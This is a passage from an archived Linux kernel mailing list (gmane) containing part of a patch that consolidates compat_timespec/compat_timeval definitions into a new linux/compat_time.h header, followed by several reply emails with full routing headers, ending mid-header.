+++ b/arch/s390/include/asm/elf.h
@@ -126,7 +126,7 @@
  */
 
 #include <asm/ptrace.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/syscall.h>
 #include <asm/user.h>
 
@@ -136,7 +136,6 @@ typedef s390_regs elf_gregset_t;
 typedef s390_fp_regs compat_elf_fpregset_t;
 typedef s390_compat_regs compat_elf_gregset_t;
 
-#include <linux/compat.h>
 #include <linux/sched/mm.h>	/* for task_struct */
 #include <asm/mmu_context.h>
 
diff --git a/arch/s390/kvm/priv.c b/arch/s390/kvm/priv.c
index 0714bfa56da0..5db2e40479aa 100644
--- a/arch/s390/kvm/priv.c
+++ b/arch/s390/kvm/priv.c
@@ -26,7 +26,6 @@
 #include <asm/gmap.h>
 #include <asm/io.h>
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/sclp.h>
 #include "gaccess.h"
 #include "kvm-s390.h"
diff --git a/arch/s390/pci/pci_clp.c b/arch/s390/pci/pci_clp.c
index 93cd0f1ca12b..19b2d2a9b43d 100644
--- a/arch/s390/pci/pci_clp.c
+++ b/arch/s390/pci/pci_clp.c
@@ -19,7 +19,6 @@
 #include <linux/uaccess.h>
 #include <asm/pci_debug.h>
 #include <asm/pci_clp.h>
-#include <asm/compat.h>
 #include <asm/clp.h>
 #include <uapi/asm/clp.h>
 
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index fa38c78de0f0..5b49b6a66cdb 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -11,7 +11,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -39,16 +38,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index 62a7b83025dd..21ab5b80f5c7 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -29,7 +29,6 @@ typedef u32		compat_ulong_t;
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
 typedef s32		compat_off_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef u32		compat_ino_t;
 typedef u32		compat_caddr_t;
@@ -59,16 +58,6 @@ typedef unsigned long compat_elf_greg_t;
 #define COMPAT_ELF_NGREG (sizeof(struct pt_regs) / sizeof(compat_elf_greg_t))
 typedef compat_elf_greg_t compat_elf_gregset_t[COMPAT_ELF_NGREG];
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 #define compat_stat stat
 #define compat_statfs statfs
 
diff --git a/arch/x86/events/core.c b/arch/x86/events/core.c
index 140d33288e78..6b8961912781 100644
--- a/arch/x86/events/core.c
+++ b/arch/x86/events/core.c
@@ -2391,7 +2391,7 @@ static unsigned long get_segment_base(unsigned int segment)
 
 #ifdef CONFIG_IA32_EMULATION
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 static inline int
 perf_callchain_user32(struct pt_regs *regs, struct perf_callchain_entry_ctx *entry)
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index 2cbd75dd2fd3..160804ed875e 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -46,16 +45,6 @@ typedef u32		compat_u32;
 typedef u64 __attribute__((aligned(4))) compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
index 09ad88572746..db25aa15b705 100644
--- a/arch/x86/include/asm/ftrace.h
+++ b/arch/x86/include/asm/ftrace.h
@@ -49,7 +49,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
 #if !defined(__ASSEMBLY__) && !defined(COMPILE_OFFSETS)
 
 #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_IA32_EMULATION)
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 /*
  * Because ia32 syscalls do not map to x86_64 syscall numbers
diff --git a/arch/x86/include/asm/sys_ia32.h b/arch/x86/include/asm/sys_ia32.h
index 82c34ee25a65..8527b26ad36f 100644
--- a/arch/x86/include/asm/sys_ia32.h
+++ b/arch/x86/include/asm/sys_ia32.h
@@ -16,7 +16,7 @@
 #include <linux/linkage.h>
 #include <linux/types.h>
 #include <linux/signal.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/ia32.h>
 
 /* ia32/sys_ia32.c */
diff --git a/arch/x86/kernel/sys_x86_64.c b/arch/x86/kernel/sys_x86_64.c
index 676774b9bb8d..9d8ea652e31c 100644
--- a/arch/x86/kernel/sys_x86_64.c
+++ b/arch/x86/kernel/sys_x86_64.c
@@ -19,7 +19,7 @@
 #include <linux/elf.h>
 
 #include <asm/elf.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/ia32.h>
 #include <asm/syscalls.h>
 #include <asm/mpx.h>
diff --git a/drivers/s390/block/dasd_ioctl.c b/drivers/s390/block/dasd_ioctl.c
index 7bdc6aaa0ba3..2016e0ed5865 100644
--- a/drivers/s390/block/dasd_ioctl.c
+++ b/drivers/s390/block/dasd_ioctl.c
@@ -18,7 +18,6 @@
 #include <linux/fs.h>
 #include <linux/blkpg.h>
 #include <linux/slab.h>
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/schid.h>
 #include <asm/cmb.h>
diff --git a/drivers/s390/char/fs3270.c b/drivers/s390/char/fs3270.c
index 61822480a2a0..16a4e8528bbc 100644
--- a/drivers/s390/char/fs3270.c
+++ b/drivers/s390/char/fs3270.c
@@ -19,7 +19,6 @@
 #include <linux/slab.h>
 #include <linux/types.h>
 
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/cio.h>
 #include <asm/ebcdic.h>
diff --git a/drivers/s390/char/sclp_ctl.c b/drivers/s390/char/sclp_ctl.c
index a78cea0c3a09..248b5db3eaa8 100644
--- a/drivers/s390/char/sclp_ctl.c
+++ b/drivers/s390/char/sclp_ctl.c
@@ -14,7 +14,6 @@
 #include <linux/init.h>
 #include <linux/ioctl.h>
 #include <linux/fs.h>
-#include <asm/compat.h>
 #include <asm/sclp_ctl.h>
 #include <asm/sclp.h>
 
diff --git a/drivers/s390/char/vmcp.c b/drivers/s390/char/vmcp.c
index 17e411c57576..948ce82a7725 100644
--- a/drivers/s390/char/vmcp.c
+++ b/drivers/s390/char/vmcp.c
@@ -23,7 +23,6 @@
 #include <linux/mutex.h>
 #include <linux/cma.h>
 #include <linux/mm.h>
-#include <asm/compat.h>
 #include <asm/cpcmd.h>
 #include <asm/debug.h>
 #include <asm/vmcp.h>
diff --git a/drivers/s390/cio/chsc_sch.c b/drivers/s390/cio/chsc_sch.c
index 0015729d917d..8d9f36625ba5 100644
--- a/drivers/s390/cio/chsc_sch.c
+++ b/drivers/s390/cio/chsc_sch.c
@@ -16,7 +16,6 @@
 #include <linux/miscdevice.h>
 #include <linux/kernel_stat.h>
 
-#include <asm/compat.h>
 #include <asm/cio.h>
 #include <asm/chsc.h>
 #include <asm/isc.h>
diff --git a/drivers/s390/net/qeth_core_main.c b/drivers/s390/net/qeth_core_main.c
index 6abd3bc285e4..e070adf32cd4 100644
--- a/drivers/s390/net/qeth_core_main.c
+++ b/drivers/s390/net/qeth_core_main.c
@@ -32,7 +32,7 @@
 #include <asm/chpid.h>
 #include <asm/io.h>
 #include <asm/sysinfo.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/diag.h>
 #include <asm/cio.h>
 #include <asm/ccwdev.h>
diff --git a/include/linux/compat.h b/include/linux/compat.h
index b24aaf66feb4..2f79dac5ed65 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -7,6 +7,7 @@
  */
 
 #include <linux/types.h>
+#include <linux/compat_time.h>
 
 #include <linux/stat.h>
 #include <linux/param.h>	/* for HZ */
diff --git a/include/linux/compat_time.h b/include/linux/compat_time.h
new file mode 100644
index 000000000000..56a54a1e4355
--- /dev/null
+++ b/include/linux/compat_time.h
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_COMPAT_TIME_H
+#define _LINUX_COMPAT_TIME_H
+
+#include <linux/types.h>
+
+typedef s32		compat_time_t;
+
+struct compat_timespec {
+	compat_time_t	tv_sec;
+	s32		tv_nsec;
+};
+
+struct compat_timeval {
+	compat_time_t	tv_sec;
+	s32		tv_usec;
+};
+
+#endif /* _LINUX_COMPAT_TIME_H */
-- 
2.14.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: consolidate direct dma mapping V4
Date: Mon, 15 Jan 2018 23:52:43 -0800
Lines: 4
Approved: news@gmane.org
Message-ID: <20180116075243.GA12693@infradead.org>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1516089054 30937 195.159.176.226 (16 Jan 2018 07:50:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Jan 2018 07:50:54 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jan 16 08:50:48 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1ebM18-0007WZ-68
	for glki-iommu@m.gmane.org; Tue, 16 Jan 2018 08:50:46 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id A1F731188;
	Tue, 16 Jan 2018 07:52:49 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 90884117E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 16 Jan 2018 07:52:48 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 0E3B8E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 16 Jan 2018 07:52:47 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=In-Reply-To:Content-Type:MIME-Version
	:References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=d6f4S39rfOVMPAg7fsXfVzXoNMyuiW6xwKdo+R9yujc=;
	b=KVUUoa5NSH0udyu5aWbt5c8Eh
	8mr+u5EFfRfwku9B2Xz5iBJXPIKpyPQlZiG6bm+vlghr8oPUaq/smfUtmuoUqHwb79SmMVRJrS6ur
	1KNWDpee10R0oCAh5jf1WE0zKz0hfdEOPH1+5LSdE9uhLJY8n+pFpTunp3ITjQJ+P8LDbXIC5jfqZ
	mXOWBohIlytYVoS+uYbeOljfyOiSiUM9pIDUouK07Si32OUr706lzGHKBoYHBqyav24h09NONhL3k
	uGhzeDURUW1nZysuKYE2eVdSTq9opo/mxR9iRzW1EB2vbEr+iIzPUDuZJSW25AE8AhOI0yIcMZuD4
	CDRzRLxJg==;
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.89 #1 (Red Hat
	Linux)) id 1ebM31-0003dd-C3; Tue, 16 Jan 2018 07:52:43 +0000
Content-Disposition: inline
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22186 gmane.linux.ports.mips.general:63376 gmane.linux.ports.ia64:28629 gmane.linux.ports.sh.devel:56352 gmane.linux.ports.sparc:27276 gmane.linux.kernel.cross-arch:41627 gmane.linux.ports.hexagon:1588 gmane.linux.kernel.arc:3372 gmane.linux.kernel.metag:1665 gmane.linux.ports.arm.kernel:626257 gmane.linux.ports.parisc:28275 gmane.linux.kernel:2667762 gmane.linux.ports.alpha:4763 gmane.linux.ports.ppc64.devel:152204
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22186>

I've pulled this into the dma-mapping for-next branch so that we get
a few days exposure before then end of the merge window.  If there is
anything important (e.g. the powerpc naming issue) please send
incremental patches.

From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Tue, 16 Jan 2018 09:30:29 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20180116093029.gzse6xs4sjx43znp@armageddon.cambridge.arm.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1516094928 11222 195.159.176.226 (16 Jan 2018 09:28:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Jan 2018 09:28:48 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: tglx@linutronix.de, john.stultz@linaro.org,
        linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, cmetcalf@mellanox.com, cohuck@redhat.com,
        davem@davemloft.net, deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
        rostedt@goodmis.org, rric@kernel.org, s
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 16 10:28:40 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ebNXo-0006b8-04
	for glpp-linux-parisc@m.gmane.org; Tue, 16 Jan 2018 10:28:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751118AbeAPJak (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 16 Jan 2018 04:30:40 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:51540 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750812AbeAPJaj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 16 Jan 2018 04:30:39 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 9E80280D;
        Tue, 16 Jan 2018 01:30:38 -0800 (PST)
Original-Received: from armageddon.cambridge.arm.com (armageddon.cambridge.arm.com [10.1.206.84])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 337D03F41F;
        Tue, 16 Jan 2018 01:30:32 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20180116021818.24791-3-deepa.kernel@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28276 gmane.linux.kernel:2667831 gmane.linux.kernel.year-2038:2484 gmane.linux.ports.mips.general:63381 gmane.linux.ports.ppc64.devel:152210 gmane.linux.oprofile:13129 gmane.linux.ports.sparc:27277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28276>

On Mon, Jan 15, 2018 at 06:18:10PM -0800, Deepa Dinamani wrote:
> All the current architecture specific defines for these
> are the same. Refactor these common defines to a common
> header file.
> 
> The new common linux/compat_time.h is also useful as it
> will eventually be used to hold all the defines that
> are needed for compat time types that support non y2038
> safe types. New architectures need not have to define these
> new types as they will only use new y2038 safe syscalls.
> This file can be deleted after y2038 when we stop supporting
> non y2038 safe syscalls.

For arm64:

Acked-by: Catalin Marinas <catalin.marinas@arm.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Tue, 16 Jan 2018 16:18:37 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <CAK8P3a2NjS2tTS0Jzrv2HoAg5Xz=DbOJD=0-JZi65_uGmKa8sA@mail.gmail.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1516115810 13738 195.159.176.226 (16 Jan 2018 15:16:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Jan 2018 15:16:50 +0000 (UTC)
Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
        John Stultz <john.stultz-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
        Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        y2038 Mailman List <y2038-cunTk1MwBs8s++Sfvej+rw@public.gmane.org>,
        Arnaldo Carvalho de Melo <acme-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Christian Borntraeger <borntraeger-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
        Chris Metcalf <cmetcalf-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>, cohuck-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
        David Miller <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org,
        gerald.schaefer-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org, gregkh <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Jan Hoeppner <hoeppner-23VcF4HTsmIX0ybBhKVfKdBPR1lH4CV8@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        Julian Wiedmann
To: Deepa Dinamani <deepa.kernel-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Jan 16 16:16:42 2018
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ebSyb-00032G-TQ
	for glka-linux-api@m.gmane.org; Tue, 16 Jan 2018 16:16:38 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1750779AbeAPPSl (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
        Tue, 16 Jan 2018 10:18:41 -0500
Original-Received: from mail-oi0-f68.google.com ([209.85.218.68]:44175 "EHLO
        mail-oi0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750752AbeAPPSj (ORCPT
        <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 16 Jan 2018 10:18:39 -0500
Original-Received: by mail-oi0-f68.google.com with SMTP id g128so10818144oib.11;
        Tue, 16 Jan 2018 07:18:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=jajhbmIdbICo5gmpwu28sFz07TcnGk31k3BPn2lO4Ls=;
        b=OwGrKFsGrRG2Oqy/oLAusSEZrAGRUq5I79UE1jQOMWzbG38vCW2kNNlkWq/RFze+u3
         mMlEfKnPmdpJM4JBz4591CbBXlm0oZlfZv6cMWd1TMkSESdtq7kJ/dgGTVCwOUN0T1lD
         9pSYK2u7hTlCdX5wkUL6r1TS4dyZBGH1DyX24K8JYrZ9fDfZR57sUG4XKy3JQ6Hb6Ryf
         hIOFmlfUIhz8E36ZZY3e7y2JgsVxlgnXcVfio9Y3osIGc5xmBvgakvIMUQqx8bewSvPl
         pKWgLyvn96PsKzkOWOVSpnFpj8Vg5ydQtLz9Mxf29XzN4qjINgmTX0nDSFCR+I1ij3NQ
         YKkQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=jajhbmIdbICo5gmpwu28sFz07TcnGk31k3BPn2lO4Ls=;
        b=JG7WKPvVR3hdn5T90M3UKoPt9KM6oJHmmDY50LljdR0VTVPpdPQPduIo68GR2Fu0/m
         CH1pO0BkK958dWgkjWG7d2V8uhRI+uXn6B+NWnH8C+o+V06gv6I3QF0ANXsx3Oag+nV2
         Sjtaet89xdhuqxPCfQ7oXRwL31I2yfE+Cw+i7xzDp4PZdIxkf1Rfi6BgFABTlGlHTEYY
